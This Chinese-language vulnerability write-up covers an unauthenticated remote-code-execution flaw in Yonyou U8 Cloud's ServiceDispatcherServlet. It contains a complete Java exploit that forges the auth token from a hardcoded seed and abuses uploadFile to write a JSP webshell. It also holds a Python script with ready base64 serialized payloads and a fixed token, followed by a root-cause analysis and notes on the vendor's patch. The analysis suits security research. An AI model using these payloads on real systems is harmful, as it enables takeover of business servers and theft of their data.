用友U8cloud-ServiceDispacherServlet反序列化
                    
                
                
                    
                
                
                    
                    
                         影响版本
2.0 2.1 2.3 2.5 2.6 2.7 2.65 3.0 3.1 3.2 3.5 3.6 3.6sp 5.0 5.0sp 5.1 5.1sp
poc
需要提前把库添加到idea,不然会找不到nc相关类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111
   | import nc.bs.framework.common.InvocationInfo; import nc.bs.framework.comn.NetObjectOutputStream; import nc.bs.framework.exception.FrameworkRuntimeException; import nc.bs.framework.server.token.MD5Util;
  import java.io.*; import java.net.HttpURLConnection; import java.net.URL; import java.nio.file.Files; import java.nio.file.Paths; import java.security.MessageDigest; import java.util.Base64; import java.util.zip.ZipEntry; import java.util.zip.ZipOutputStream;
 
  public class ServiceDispatcherServlet {     public static void main(String[] args) throws Exception {         byte[] data = createData("./1.jsp");
 
          String userCode = "1";         String service = "nc.itf.hr.tools.IFileTrans";         String method = "uploadFile";         Class[] classes = {byte[].class, String.class};         Object[] params = {data, "D:/1.jspp"};         InvocationInfo invocationInfo = new InvocationInfo(service, method, classes, params);         invocationInfo.setUserCode(userCode);         invocationInfo.setToken(genToken(userCode));         FileOutputStream fos = new FileOutputStream("./ser1.bin");         NetObjectOutputStream.writeObject(fos, invocationInfo);         post();
 
 
 
 
 
 
 
      }
      public static byte[] createData(String filePath) throws IOException {         File file = new File(filePath);         byte[] fileBytes = new byte[(int) file.length()];         FileInputStream fis = new FileInputStream(file);         fis.read(fileBytes);         ByteArrayOutputStream baos = new ByteArrayOutputStream();         ZipOutputStream zos = new ZipOutputStream(baos);         ZipEntry entry = new ZipEntry("compressed");         zos.putNextEntry(entry);         zos.write(fileBytes);         zos.closeEntry();         zos.close();         return baos.toByteArray();     }
      private static byte[] md5(byte[] key, byte[] tokens) {         MessageDigest md = null;
          try {             md = MessageDigest.getInstance("SHA-1");             md.update(tokens);             md.update(key);             return md.digest();         } catch (Exception var5) {             Exception e = var5;             throw new FrameworkRuntimeException("md5 error", e);         }     }
      public static String genToken(String userCode) {         byte[] md5 = md5("ab7d823e-03ef-39c1-9947-060a0a08b931".getBytes(), userCode.getBytes());         return MD5Util.byteToHexString(md5);     }
      public static void post() throws Exception {                  URL url = new URL("http://127.0.0.1:8051/ServiceDispatcherServlet");         HttpURLConnection conn = (HttpURLConnection) url.openConnection();
                   conn.setRequestMethod("POST");         conn.setDoOutput(true);         conn.setRequestProperty("Content-Type", "application/octet-stream");
          
          File file = new File("./ser1.bin");         byte[] data = new byte[(int) file.length()];         FileInputStream fis = new FileInputStream(file);         fis.read(data);
                   try (OutputStream os = conn.getOutputStream()) {             os.write(data);             os.flush();         }
                   try (InputStream is = conn.getInputStream();              BufferedReader br = new BufferedReader(new InputStreamReader(is))) {             String line;             while ((line = br.readLine()) != null) {                 System.out.println(line);             }         }
          conn.disconnect();     } }
   | 
 
没有环境的话,就用这个python的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
   | import base64
  import requests
 
  if __name__ == "__main__":          touch = "AAACDHJxiQF7uQPbFPuWMWS63hJKY0Wrr6QW0Rp3mKSWQODMh32wwokYgFxrSBJebabPcsPNLdxM0ggqZIJL/BR02TCwGFNuhaf7kixQNGfbpGTZePjlZ2+dptAdZnQPVlY9T8SoekSLXJf9eaEyU2vGDbD5KjXKh7coPKCKCfWKc30Kq9UVWyKc3e7xUXypmRj+uQI4Nr4rH44HG+CubNiqmEv0Vt4zvEoDGOfcmY1+qx8DBTmzUAONkQEN9HuZ7BL3x2eAR3K0y2Tl47IluOgj5Oo8ormLsPPcSHPa9a7kh/hVe4Dv2cpOKWdt+eltcxs+fZqWuxlRzFm4DET8b/pLKY/jvSVTbyYT4qEnH8XggqXp4wD88i6GJ83m9U3hp3WmSQDFm0y3TYs1VrcDoGsWImZOMJXyUu1NmlfZ7STBdr7AoTNGO9GLkSY9i/x4eNAzaSH9jq8HIdzA1PfeDsGLdQy7DquK0V9qO/8q7+35AtbE6uLL7/dbRKDWw2EPig4s7e4p3s+XxWgjv+Palcv7tTm8lo9AAThuVGvYZXKwccpm721hSEjsfsaEiqMgcfgQYdCvgtmueSEkWlZACvkC1sTq4svv+QLWxOriy+9ubVc8v+j+6yurlS6SjLoFy2WseGEpNut1F4D9ZvPMsvIBVP3XH7ey+M0H6WtY5pRHApZtejNldPRUQJbHkuLQ"          shell = "AAADpHJxiQF7uQPbFPuWMWS63hJKY0Wrr6QW0Rp3mKSWQODMh32wwokYgFxrSBJebabPcsPNLdxM0ggqZIJL/BR02TCwGFNuhaf7kixQNGfbpGTZePjlZ2+dptAdZnQPVlY9T8SoekSLXJf9eaEyU2vGDbD5KjXKh7coPKCKCfWKc30Kq9UVWyKc3e7xUXypmRj+uQI4Nr4rH44HG+CubNiqmEv0Vt4zvEoDGOfcmY1+qx8DBTmzUAONkQEN9HuZF8gOZXBV42naCRCtoBMMZegj5Oo8ormLsPPcSHPa9a7kh/hVe4Dv2cpOKWdt+eltcxs+fZqWuxlRzFm4DET8b/pLKY/jvSVTbyYT4qEnH8XggqXp4wD88i6GJ83m9U3hp3WmSQDFm0y3TYs1VrcDoGsWImZOMJXyUu1NmlfZ7STBdr7AoTNGO9GLkSY9i/x4eNAzaSH9jq/9RuGwMKypDcGLdQy7DquKPEP8EXryeIT5AtbE6uLL7/dbRKDWw2EPig4s7e4p3s/23GiyUof4BwNejVIJiEfvfsGlfQ5wuDcoqF//OWcXePrJ6eJwMvIc9F619/+pu5ZT8P7uF/GIXtOxYN6fZH/qauVX12sOZvEJ+2imWsQR0QPVbUYD6CpnNFZzNNeqnbiz1gF5dl+NYYXfPFf1gRH0iaZO3F09ADqB8VP6Ejf0lTMSWQYbs/2Uoo9b2TkrEMx+GAqu5qW0E39MTadUNctN3M4LHNeD0WSIHwnd8dyQ0rVPBOdfVlY/0b9/9vfdvyahASonlXPk9j6PdykcudJ6Q2ZsV1hqcYuVw7/EkaOqseFSuR305uHIBPXUloD9UiLwO7vfRAZgCgD5MNcA5qjqQXHd5JSZSpRyIUo/+ebGBuFcqsO8O0TQiXvcnO3E2cSFlCja0yOUJ2126pCoxWg1uOGpNeqO7wZoWrEt8rdZnTx4WKR7es8y+pT5W1UrTy+rkI3C/RtPf+OLUuMkzwLvUUncAG7u+GLCHQFAiWBXc/51GCGbCTJjxgeGSaymmFWwUfnvasm6FFmMB/QIjfj/7kqGBlxlHKLzrSfOQWlkEw57KcLCk5+GGZ80mzJrxNArh2ZZd1d9j7QqzXntpyy+mpr7CHObop1QFcPbjYeuaPkC1sTq4svvpuJ4zlLP63c9dKA9wUDzHcrCqzVqVg+jHYrOoDMIMFWvbZegtMZtGbuYixqbK8LM6sWM+wj7CCrkqzmHKXShintmHtB8TuGt"     ser = base64.b64decode(touch)     url = "http://127.0.0.1:8051/ServiceDispatcherServlet"     h = {         "token": "4a68a59011d7341f5635100286d91965"     }     resp = requests.post(url=url, data=ser, headers=h)     print(resp.text)
   | 
 
漏洞原理
token鉴权可绕过;nc.bs.framework.comn.serv.ServiceDispatcher#invokeBeanMethod可调用能lookup到的类中的任意方法;nc.impl.hr.tools.trans.FileTransImpl#uploadFile写shell到webapps
漏洞分析
token伪造
全局搜索,找到路由:

访问/ServiceDispatcherServlet后,后进入nc.bs.framework.comn.serv.CommonServletDispatcher#doGet,doGet最终会调用execCall:

跟进,在execCall中,会对我们的请求体进行反序列化,不过指定了类型,只能反序列化为InvocationInfo,不过这里要记住,InvocationInfo中的所有字段都是我们可控的:

之后在160行打断点,即token鉴权处:

跟进去看一下鉴权:
白名单校验过不了,会进入到nc.bs.framework.server.token.TokenUtil#vertifyTokenIllegal:

根据反序列化得到的userCode来genToken,然后和我们请求头中的token进行比较。
看一下genToken的逻辑:

显然是可以伪造的。
方法调用
lookup到类后,反射取出方法,注意用的是getMethod,所以只能取出public方法,然后再invoke,用到的全部参数都是我们在序列化时自行写入的:

文件写入
这里用的是nc.impl.hr.tools.trans.FileTransImpl#uploadFile,esnserver接口漏洞的同一个类。因为如果对n8c不熟悉的话,找一个能用的类还是有难度的。所以,不妨去以前的老漏洞中拿一个用,这也是漏洞复现的意义。

漏洞修复
首先是tokenseed的文件改了:

但是这个文件默认是不存在的,所以seed还是固定。
二是增加了trustServiceList.conf,这个不知道有啥用:

三是修改了nc.impl.hr.tools.trans.FileTransImpl#uploadFile,这是最关键的,不允许写入webapps了:

参考
用友U8Cloud最新前台RCE漏洞挖掘过程分享